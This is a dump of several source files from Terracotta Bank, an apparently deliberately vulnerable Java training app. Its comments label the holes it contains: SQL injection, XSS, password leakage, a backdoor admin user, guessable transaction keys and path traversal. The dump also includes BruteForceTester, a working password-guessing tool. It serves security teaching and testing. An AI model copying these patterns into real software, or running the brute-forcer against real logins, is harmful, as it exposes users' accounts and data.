* because the site bases authority on a backdoor user. 33 | * 34 | * Further, it bases authority on the username as opposed to a 35 | * set of privileges granted by the site. 36 | * 37 | * @author Josh Cummings 38 | */ 39 | public class SiteStatisticsServlet extends HttpServlet { 40 | private AccountService accountService; 41 | private UserService userService; 42 | 43 | public SiteStatisticsServlet(AccountService accountService, UserService userService) { 44 | this.accountService = accountService; 45 | this.userService = userService; 46 | } 47 | 48 | @Override 49 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) 50 | throws ServletException, IOException { 51 | 52 | User user = (User)req.getAttribute("authenticatedUser"); 53 | 54 | if ( user != null && "system".equals(user.getUsername()) ) { 55 | if (req.getParameter("clear") != null) { 56 | InMemoryAppender.clear(); 57 | } 58 | int userCount = this.userService.count(); 59 | int accountCount = this.accountService.count(); 60 | String logs = InMemoryAppender.take(20).stream() 61 | .collect(Collectors.joining("
")); 62 | 63 | resp.setContentType("text/html"); 64 | resp.getWriter().printf( 65 | "

Welcome, " + user.getUsername() + ".

" + 66 | "
" + 67 | "
Number of users:
" + 68 | "
%d
" + 69 | "
Number of accounts:
" + 70 | "
%d
" + 71 | "
Recent Activity (clear):
" + 72 | "
%s
" + 73 | "
", userCount, accountCount, logs); 74 | } else { 75 | resp.setStatus(403); 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/TransactionService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import java.util.ArrayList; 19 | import java.util.Collection; 20 | import java.util.HashMap; 21 | import java.util.Map; 22 | 23 | import com.joshcummings.codeplay.terracotta.model.Transaction; 24 | import com.joshcummings.codeplay.terracotta.model.User; 25 | 26 | import org.springframework.stereotype.Service; 27 | 28 | /** 29 | * This service makes Terracotta vulnerable to DoS and Transaction 30 | * Hijacking 31 | * 32 | * It is vulnerable to DoS because there is neither an expiry nor 33 | * a cap on the {@code transactions} cache. 34 | * 35 | * It is vulnerable to Transaction Hijacking because the key is guessable. 36 | * 37 | * It is also vulnerable to hijacking because the incrementer is not atomic 38 | * and in the even of a lost update, two people could get the same 39 | * key. 40 | * 41 | * @author Josh Cummings 42 | */ 43 | @Service 44 | public class TransactionService { 45 | private final Map transactions = new HashMap<>(); 46 | private int keyCounter = 0; 47 | 48 | public Transaction beginTransaction(User user, String action) { 49 | String key = String.valueOf(++this.keyCounter); 50 | Transaction transaction = new Transaction(key, user, action); 51 | this.transactions.put(key, transaction); 52 | return transaction; 53 | } 54 | 55 | public Transaction retrieveTransaction(String key) { 56 | return this.transactions.get(key); 57 | } 58 | 59 | public void endTransaction(String key) { 60 | this.transactions.remove(key); 61 | } 62 | 63 | public Collection retrieveTransactionsForUser(User user) { 64 | Collection userTransactions = new ArrayList<>(); 65 | for ( Map.Entry entry : this.transactions.entrySet() ) { 66 | User transactionUser = this.transactions.get(entry.getKey()).getUser(); 67 | if ( transactionUser.getId().equals(user.getId()) ) { 68 | userTransactions.add(entry.getValue()); 69 | } 70 | } 71 | return userTransactions; 72 | } 73 | 74 | public void endAllTransactionsForUser(User user) { 75 | for ( Map.Entry entry : this.transactions.entrySet() ) { 76 | User transactionUser = this.transactions.get(entry.getKey()).getUser(); 77 | if ( transactionUser.getId().equals(user.getId()) ) { 78 | this.transactions.remove(entry.getKey()); 79 | } 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/ForgotPasswordServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import java.io.IOException; 19 | import javax.servlet.ServletException; 20 | import javax.servlet.http.HttpServlet; 21 | import javax.servlet.http.HttpServletRequest; 22 | import javax.servlet.http.HttpServletResponse; 23 | 24 | import com.joshcummings.codeplay.terracotta.model.User; 25 | import com.joshcummings.codeplay.terracotta.service.UserService; 26 | 27 | /** 28 | * This servlet makes Terracotta vulnerable to Cross-site Scripting because 29 | * it fails to validate the {@code forgotPasswordAccount} parameter and 30 | * needlessly reflects it back to the browser. 31 | * 32 | * It also leaks password information to the screen. And, further, it gives 33 | * sensitive information without validating ownership. 34 | * 35 | * It is vulnerable to CSRF because it naively overrides {@link this#doGet} to invoke 36 | * {@link this#doPost} 37 | * 38 | * It makes the site vulnerable to Enumeration since it responds differently 39 | * in the case that the user exists vs when the user does not exist. 40 | * 41 | * @author Josh Cummings 42 | * 43 | */ 44 | public class ForgotPasswordServlet extends HttpServlet { 45 | private final UserService userService; 46 | 47 | public ForgotPasswordServlet(UserService userService) { 48 | this.userService = userService; 49 | } 50 | 51 | @Override 52 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 53 | String username = request.getParameter("forgotPasswordAccount"); 54 | 55 | User user = this.userService.findByUsername(username); 56 | 57 | if ( user == null ) { 58 | send(request, response, "The user entered (" + username + ") does not exist.", 400); 59 | } else { 60 | send(request, response, "Your password is (" + user.getPassword() + ")", 200); 61 | } 62 | } 63 | 64 | @Override 65 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 66 | doPost(request, response); 67 | } 68 | 69 | private void send(HttpServletRequest request, HttpServletResponse response, String error, int status) 70 | throws ServletException, IOException { 71 | 72 | response.setStatus(status); 73 | request.setAttribute("message", error); 74 | request.getRequestDispatcher("/WEB-INF/json/error.jsp").forward(request, response); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/ClientService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.Client; 19 | import org.springframework.stereotype.Service; 20 | 21 | import javax.crypto.spec.SecretKeySpec; 22 | import java.net.URI; 23 | import java.security.Key; 24 | import java.security.KeyFactory; 25 | import java.security.spec.X509EncodedKeySpec; 26 | import java.util.Base64; 27 | import java.util.Set; 28 | 29 | import static java.nio.charset.StandardCharsets.UTF_8; 30 | 31 | /** 32 | * This class makes Terracotta Bank vulnerable to SQL injection 33 | * attacks because it concatenates queries instead of using 34 | * bind variables. 35 | * 36 | * @author Josh Cummings 37 | */ 38 | @Service 39 | public class ClientService extends ServiceSupport { 40 | public Client findByClientId(String clientId) { 41 | Set clients = 42 | runQuery("SELECT id, client_id, client_secret, algorithm, key_set_uri " + 43 | "FROM clients WHERE client_id = '" + clientId + "'", 44 | rs -> { 45 | String id = rs.getString(1); 46 | String cId = rs.getString(2); 47 | byte[] bytes = Base64.getDecoder().decode(rs.getString(3).getBytes(UTF_8)); 48 | Client.Algorithm algorithm = Client.Algorithm.valueOf(rs.getString(4)); 49 | Key key = null; 50 | switch (algorithm) { 51 | case v1: 52 | key = new SecretKeySpec(bytes, "AES"); 53 | break; 54 | case v2: 55 | key = publicKey(bytes); 56 | break; 57 | } 58 | return new Client(id, cId, key, algorithm, URI.create(rs.getString(5))); 59 | }); 60 | return clients.isEmpty() ? null : clients.iterator().next(); 61 | } 62 | 63 | public void addClient(Client client) { 64 | String encoded = encode(client.getClientSecret()); 65 | runUpdate("INSERT INTO clients (id, client_id, client_secret, algorithm, key_set_uri) " + 66 | "VALUES ('" + client.getId() + "', '" + client.getClientId() + "', '" + encoded + "', '" + client.getAlgorithm() + "','" + client.getKeySetUri() + "')"); 67 | } 68 | 69 | private String encode(Key key) { 70 | return Base64.getEncoder().encodeToString(key.getEncoded()); 71 | } 72 | 73 | private Key publicKey(byte[] bytes) { 74 | try { 75 | return KeyFactory.getInstance("RSA").generatePublic( 76 | new X509EncodedKeySpec(bytes)); 77 | } catch (Exception e) { 78 | throw new IllegalArgumentException(e); 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/tools/BruteForceTester.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.tools; 17 | 18 | import org.apache.http.client.methods.CloseableHttpResponse; 19 | import org.apache.http.client.methods.RequestBuilder; 20 | 21 | import com.joshcummings.codeplay.terracotta.http.HttpSupport; 22 | 23 | import java.io.BufferedReader; 24 | import java.io.FileReader; 25 | import java.io.IOException; 26 | import java.nio.file.Files; 27 | import java.nio.file.Paths; 28 | import java.util.Base64; 29 | import java.util.List; 30 | 31 | public class BruteForceTester { 32 | static HttpSupport http = new HttpSupport(); 33 | static Base64.Encoder encoder = Base64.getEncoder(); 34 | 35 | static long start = System.currentTimeMillis(); 36 | static int count = 0; 37 | 38 | private static class Result { 39 | String username; 40 | String password; 41 | int status; 42 | 43 | public Result(String username, String password, int status) { 44 | this.username = username; 45 | this.password = password; 46 | this.status = status; 47 | } 48 | 49 | public void print() { 50 | String message = String.format("%s:%s -> %d", 51 | this.username, this.password, this.status); 52 | if ( this.status == 200 ) { 53 | System.err.println(message); 54 | } 55 | } 56 | } 57 | 58 | private static Result login(String username, String password) { 59 | String up = encoder.encodeToString((username + ":" + password).getBytes()); 60 | 61 | try (CloseableHttpResponse response = 62 | http.getForEntity(RequestBuilder.get("/") 63 | .addHeader("Authorization", "Basic " + up)) ){ 64 | 65 | int status = response.getStatusLine().getStatusCode(); 66 | 67 | return new Result(username, password, status); 68 | } catch ( Exception e ) { 69 | e.printStackTrace(); 70 | return new Result(username, password, -1); 71 | } 72 | } 73 | 74 | private static void results(Result result) { 75 | result.print(); 76 | 77 | count++; 78 | if ( System.currentTimeMillis() - start > 60000 ) { 79 | System.out.printf("%d guesses in the last minute%n", count); 80 | count = 0; 81 | start = System.currentTimeMillis(); 82 | } 83 | } 84 | 85 | public static void main(String[] args) throws IOException { 86 | try (BufferedReader passwords = 87 | new BufferedReader(new FileReader(args[1]))) { 88 | 89 | List usernames = Files.readAllLines(Paths.get(args[0])); 90 | for ( String username : usernames ) { 91 | passwords.lines() 92 | .map(password -> login(username, password)) 93 | .forEach(BruteForceTester::results); 94 | } 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/DocumentServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import java.io.File; 19 | import java.io.FileInputStream; 20 | import java.io.IOException; 21 | import java.io.InputStream; 22 | import java.io.OutputStream; 23 | import java.util.logging.Logger; 24 | 25 | import javax.servlet.ServletException; 26 | import javax.servlet.http.HttpServlet; 27 | import javax.servlet.http.HttpServletRequest; 28 | import javax.servlet.http.HttpServletResponse; 29 | 30 | /** 31 | * This is a sample servlet with many different vulnerabilities 32 | * demonstrated. Can you find them all? Check out the first module 33 | * of "Securing Java Web Applications" on Pluralsight to see if you 34 | * caught them all. 35 | * 36 | * @author Josh Cummings 37 | */ 38 | public class DocumentServlet extends HttpServlet { 39 | private static final long serialVersionUID = 1L; 40 | 41 | private Logger logger = Logger.getLogger(this.getClass().getName()); 42 | 43 | private static final String BASE_DOCUMENT_PATH = "/var/docs"; 44 | 45 | /** 46 | * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) 47 | */ 48 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 49 | String documentId = request.getParameter("documentId"); 50 | String accessLevel = (String)request.getSession().getAttribute("acccess"); 51 | File file = new File(BASE_DOCUMENT_PATH, documentId + ".pdf"); 52 | if ( file.exists() ) { 53 | if ( "admin".equals(accessLevel) ) { 54 | response.setContentType("application/pdf"); 55 | OutputStream os = response.getOutputStream(); 56 | try ( InputStream is = new FileInputStream(file) ) { 57 | byte[] b = new byte[1024]; 58 | while ( ( is.read(b, 0, 1024) ) > -1 ) { 59 | os.write(b); 60 | } 61 | os.flush(); 62 | } 63 | } else { 64 | response.getWriter().write("Sorry, you don't have access to " + documentId + ".pdf"); 65 | response.setStatus(403); 66 | logger.warning("Failed attempt to access " + documentId); 67 | } 68 | } else { 69 | response.getWriter().write("Sorry, " + documentId + ".pdf does not exist"); 70 | response.setStatus(404); 71 | logger.warning("Failed attempt to access " + documentId); 72 | } 73 | } 74 | 75 | /** 76 | * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) 77 | */ 78 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 79 | doGet(request, response); 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | @rem SPDX-License-Identifier: Apache-2.0 17 | @rem 18 | 19 | @if "%DEBUG%"=="" @echo off 20 | @rem ########################################################################## 21 | @rem 22 | @rem Gradle startup script for Windows 23 | @rem 24 | @rem ########################################################################## 25 | 26 | @rem Set local scope for the variables with windows NT shell 27 | if "%OS%"=="Windows_NT" setlocal 28 | 29 | set DIRNAME=%~dp0 30 | if "%DIRNAME%"=="" set DIRNAME=. 31 | @rem This is normally unused 32 | set APP_BASE_NAME=%~n0 33 | set APP_HOME=%DIRNAME% 34 | 35 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 36 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 37 | 38 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 39 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 40 | 41 | @rem Find java.exe 42 | if defined JAVA_HOME goto findJavaFromJavaHome 43 | 44 | set JAVA_EXE=java.exe 45 | %JAVA_EXE% -version >NUL 2>&1 46 | if %ERRORLEVEL% equ 0 goto execute 47 | 48 | echo. 1>&2 49 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 50 | echo. 1>&2 51 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2 52 | echo location of your Java installation. 1>&2 53 | 54 | goto fail 55 | 56 | :findJavaFromJavaHome 57 | set JAVA_HOME=%JAVA_HOME:"=% 58 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 59 | 60 | if exist "%JAVA_EXE%" goto execute 61 | 62 | echo. 1>&2 63 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 64 | echo. 1>&2 65 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2 66 | echo location of your Java installation. 1>&2 67 | 68 | goto fail 69 | 70 | :execute 71 | @rem Setup the command line 72 | 73 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 74 | 75 | 76 | @rem Execute Gradle 77 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 78 | 79 | :end 80 | @rem End local scope for the variables with windows NT shell 81 | if %ERRORLEVEL% equ 0 goto mainEnd 82 | 83 | :fail 84 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 85 | rem the _cmd.exe /c_ return code! 86 | set EXIT_CODE=%ERRORLEVEL% 87 | if %EXIT_CODE% equ 0 set EXIT_CODE=1 88 | if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% 89 | exit /b %EXIT_CODE% 90 | 91 | :mainEnd 92 | if "%OS%"=="Windows_NT" endlocal 93 | 94 | :omega 95 | -------------------------------------------------------------------------------- /src/jmh/java/com/joshcummings/codeplay/terracotta/PasswordWorkFactorBenchmark.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta; 2 | 3 | import java.util.Collection; 4 | import java.util.concurrent.TimeUnit; 5 | 6 | import com.joshcummings.codeplay.terracotta.model.User; 7 | import com.joshcummings.codeplay.terracotta.service.UserService; 8 | import org.openjdk.jmh.annotations.Benchmark; 9 | import org.openjdk.jmh.annotations.BenchmarkMode; 10 | import org.openjdk.jmh.annotations.Level; 11 | import org.openjdk.jmh.annotations.Measurement; 12 | import org.openjdk.jmh.annotations.Mode; 13 | import org.openjdk.jmh.annotations.OutputTimeUnit; 14 | import org.openjdk.jmh.annotations.Scope; 15 | import org.openjdk.jmh.annotations.Setup; 16 | import org.openjdk.jmh.annotations.State; 17 | import org.openjdk.jmh.annotations.TearDown; 18 | import org.openjdk.jmh.results.RunResult; 19 | import org.openjdk.jmh.runner.Runner; 20 | import org.openjdk.jmh.runner.options.Options; 21 | import org.openjdk.jmh.runner.options.OptionsBuilder; 22 | import org.testng.Assert; 23 | import org.testng.annotations.Test; 24 | 25 | import org.springframework.boot.SpringApplication; 26 | import org.springframework.context.ConfigurableApplicationContext; 27 | 28 | @BenchmarkMode(Mode.AverageTime) 29 | @State(Scope.Benchmark) 30 | @OutputTimeUnit(TimeUnit.MICROSECONDS) 31 | @Measurement(iterations = 20, time = 1) 32 | public class PasswordWorkFactorBenchmark { 33 | private ConfigurableApplicationContext context; 34 | private UserService userService = new UserService(); 35 | 36 | @Setup(value = Level.Trial) 37 | public void initializeContext() { 38 | context = SpringApplication.run(Mainer.class); 39 | this.userService = context.getBean(UserService.class); 40 | } 41 | 42 | @TearDown 43 | public void closeContext() { 44 | context.close(); 45 | } 46 | 47 | @Benchmark 48 | public User retrieveUser() { 49 | return this.userService.findByUsername("josh.cummings"); 50 | } 51 | 52 | @Benchmark 53 | public Object retrieveUserAndVerifyPassword() { 54 | return this.userService.findByUsernameAndPassword("josh.cummings", "j0sh"); 55 | } 56 | 57 | @Test 58 | public void testPasswordHashHasSufficientWorkFactor() throws Exception { 59 | double minimumWorkFactorRatio = Math.pow(2, 10); 60 | Collection results = run(); 61 | 62 | double retrieveUserScore = 63 | getScore(results, "retrieveUser"); 64 | double retrieveUserAndVerifyPasswordScore = 65 | getScore(results, "retrieveUserAndVerifyPassword"); 66 | 67 | double workFactorRatio = retrieveUserAndVerifyPasswordScore / retrieveUserScore; 68 | Assert.assertTrue(workFactorRatio > minimumWorkFactorRatio); 69 | } 70 | 71 | private Collection run() throws Exception { 72 | Options opt = new OptionsBuilder() 73 | .include(PasswordWorkFactorBenchmark.class.getCanonicalName()) 74 | .jvmArgs("-Xmx512M") 75 | .forks(1) 76 | .build(); 77 | 78 | return new Runner(opt).run(); 79 | } 80 | 81 | private double getScore(Collection results, String benchmarkName) { 82 | return results.stream() 83 | .filter(result -> benchmarkName(result).equals(benchmarkName)) 84 | .map(result -> result.getPrimaryResult().getScore()) 85 | .findFirst().orElse(0d); 86 | } 87 | 88 | private String benchmarkName(RunResult result) { 89 | return result.getParams().getBenchmark().substring(this.getClass().getSimpleName().length() + 1); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/resources/static/js/imagesloaded.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * imagesLoaded v3.1.4 3 | * JavaScript is all like "You images are done yet or what?" 4 | * MIT License 5 | */ 6 | (function(b,a){if(typeof define==="function"&&define.amd){define(["eventEmitter/EventEmitter","eventie/eventie"],function(d,c){return a(b,d,c)})}else{if(typeof exports==="object"){module.exports=a(b,require("eventEmitter"),require("eventie"))}else{b.imagesLoaded=a(b,b.EventEmitter,b.eventie)}}})(this,function factory(i,m,l){var g=i.jQuery;var e=i.console;var c=typeof e!=="undefined";function j(p,o){for(var q in o){p[q]=o[q]}return p}var n=Object.prototype.toString;function h(o){return n.call(o)==="[object Array]"}function d(r){var q=[];if(h(r)){q=r}else{if(typeof r.length==="number"){for(var p=0,o=r.length;p&1 13 | $javaVersionLine = $javaVersionOutput | Select-String 'version' 14 | if ($javaVersionLine -ne $null) { 15 | $javaVersionString = $javaVersionLine -replace '.*version\s*"([0-9]+(\.[0-9]+)?).*"', '$1' 16 | $javaVersionParts = $javaVersionString.Split('.') 17 | $javaMajorVersion = if ($javaVersionParts[0] -eq '1') { $javaVersionParts[1] } else { $javaVersionParts[0] } 18 | } 19 | else { 20 | Write-Host "Java is not installed or version information is not recognized. Please install Java and try again." 21 | exit 22 | } 23 | 24 | Write-Host "Java version: $javaVersionString" 25 | if ([int]$javaMajorVersion -lt 8 -or [int]$javaMajorVersion -gt 15) { 26 | Write-Host "Unsupported Java version: $javaVersionString. Please use Java between version 8 and 15." 27 | exit 28 | } 29 | 30 | # Check if the contrast_security.yaml file exists 31 | $ConfigFile = Join-Path $ScriptDir "contrast_security.yaml" 32 | if (-not (Test-Path $ConfigFile)) { 33 | Write-Host "Configuration file '$ConfigFile' not found. Please ensure it is present in the same directory as this script." 34 | exit 35 | } 36 | 37 | # Start the application in DEVELOPMENT mode (Assess) 38 | $devPort = 8080 39 | $devLog = Join-Path $ScriptDir "terracotta-dev.log" 40 | if (Test-PortInUse -Port $devPort) { 41 | Write-Host "Development server port $devPort is already in use." 42 | } 43 | else { 44 | Start-Job -ScriptBlock { 45 | param($ScriptDir, $ConfigFile, $devPort, $devLog) 46 | java -Dcontrast.protect.enable=false ` 47 | -Dcontrast.assess.enable=true ` 48 | -Dcontrast.server.name=terracotta-dev ` 49 | -Dcontrast.server.environment=DEVELOPMENT ` 50 | -Dcontrast.config.path=$ConfigFile ` 51 | -Dcontrast.agent.polling.app_activity_ms=1000 ` 52 | -javaagent:"$ScriptDir\contrast-agent.jar" ` 53 | -Dserver.port=$devPort ` 54 | -jar "$ScriptDir\terracotta.war" *> $devLog 55 | } -ArgumentList $ScriptDir, $ConfigFile, $devPort, $devLog -Name "DevServerJob" 56 | } 57 | 58 | # Start the application in PRODUCTION mode (Protect) 59 | $prodPort = 8082 60 | $prodLog = Join-Path $ScriptDir "terracotta-prod.log" 61 | if (Test-PortInUse -Port $prodPort) { 62 | Write-Host "Production server port $prodPort is already in use." 63 | } 64 | else { 65 | Start-Job -ScriptBlock { 66 | param($ScriptDir, $ConfigFile, $prodPort, $prodLog) 67 | java -Dcontrast.protect.enable=true ` 68 | -Dcontrast.assess.enable=false ` 69 | -Dcontrast.server.name=terracotta-prod ` 70 | -Dcontrast.server.environment=PRODUCTION ` 71 | -Dcontrast.config.path=$ConfigFile ` 72 | -Dcontrast.agent.polling.app_activity_ms=1000 ` 73 | -javaagent:"$ScriptDir\contrast-agent.jar" ` 74 | -Dserver.port=$prodPort ` 75 | -jar "$ScriptDir\terracotta.war" *> $prodLog 76 | } -ArgumentList $ScriptDir, $ConfigFile, $prodPort, $prodLog -Name "ProdServerJob" 77 | } 78 | 79 | # Check for job status or any immediate errors 80 | Get-Job | Format-Table -Property Id, Name, State, HasMoreData 81 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/app/UserFilter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.app; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.Account; 19 | import com.joshcummings.codeplay.terracotta.model.User; 20 | import com.joshcummings.codeplay.terracotta.service.AccountService; 21 | import com.joshcummings.codeplay.terracotta.service.UserService; 22 | 23 | import javax.servlet.Filter; 24 | import javax.servlet.FilterChain; 25 | import javax.servlet.FilterConfig; 26 | import javax.servlet.ServletException; 27 | import javax.servlet.ServletRequest; 28 | import javax.servlet.ServletResponse; 29 | import javax.servlet.http.HttpServletRequest; 30 | import javax.servlet.http.HttpServletResponse; 31 | import java.io.IOException; 32 | import java.util.Base64; 33 | import java.util.Optional; 34 | import java.util.Set; 35 | 36 | /** 37 | * @author Josh Cummings 38 | */ 39 | public class UserFilter implements Filter { 40 | 41 | private AccountService accountService; 42 | private UserService userService; 43 | 44 | public UserFilter(AccountService accountService, UserService userService) { 45 | this.accountService = accountService; 46 | this.userService = userService; 47 | } 48 | 49 | @Override 50 | public void init(FilterConfig filterConfig) { } 51 | 52 | @Override 53 | public void doFilter( 54 | ServletRequest req, 55 | ServletResponse resp, 56 | FilterChain chain) 57 | throws IOException, ServletException { 58 | 59 | try { 60 | if ( req instanceof HttpServletRequest ) { 61 | HttpServletRequest request = (HttpServletRequest) req; 62 | 63 | User user = Optional.ofNullable(request.getSession(false)) 64 | .map(session -> session.getAttribute("authenticatedUser")) 65 | .map(User.class::cast) 66 | .orElse(null); 67 | 68 | if ( user == null ) { 69 | String authorization = request.getHeader("Authorization"); 70 | if ( authorization != null && authorization.startsWith("Basic ") ) { 71 | String basic = authorization.substring(6); 72 | String[] up = new String(Base64.getDecoder().decode(basic)).split(":"); 73 | 74 | user = this.userService.findByUsernameAndPassword(up[0], up[1]); 75 | if ( user == null ) { 76 | ((HttpServletResponse) resp).setStatus(403); 77 | } 78 | } 79 | } 80 | 81 | if ( user != null ) { 82 | User refreshed = this.userService.findByUsername(user.getUsername()); 83 | if ( refreshed != null ) { 84 | Set accounts = this.accountService.findByUsername(user.getUsername()); 85 | request.setAttribute("authenticatedUser", refreshed); 86 | request.setAttribute("authenticatedAccounts", accounts); 87 | } else { 88 | request.setAttribute("authenticatedUser", user); 89 | } 90 | } 91 | } 92 | } finally { 93 | chain.doFilter(req, resp); 94 | } 95 | } 96 | 97 | @Override 98 | public void destroy() { } 99 | 100 | } 101 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/CheckService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import java.io.File; 19 | import java.io.FileInputStream; 20 | import java.io.FileOutputStream; 21 | import java.io.IOException; 22 | import java.io.InputStream; 23 | import java.io.OutputStream; 24 | import java.net.URI; 25 | import java.net.URISyntaxException; 26 | import java.util.zip.ZipEntry; 27 | import java.util.zip.ZipInputStream; 28 | 29 | import com.joshcummings.codeplay.terracotta.model.Check; 30 | import org.springframework.stereotype.Service; 31 | 32 | /** 33 | * This class makes Terracotta Bank vulnerable to SQL injection 34 | * attacks because it concatenates queries instead of 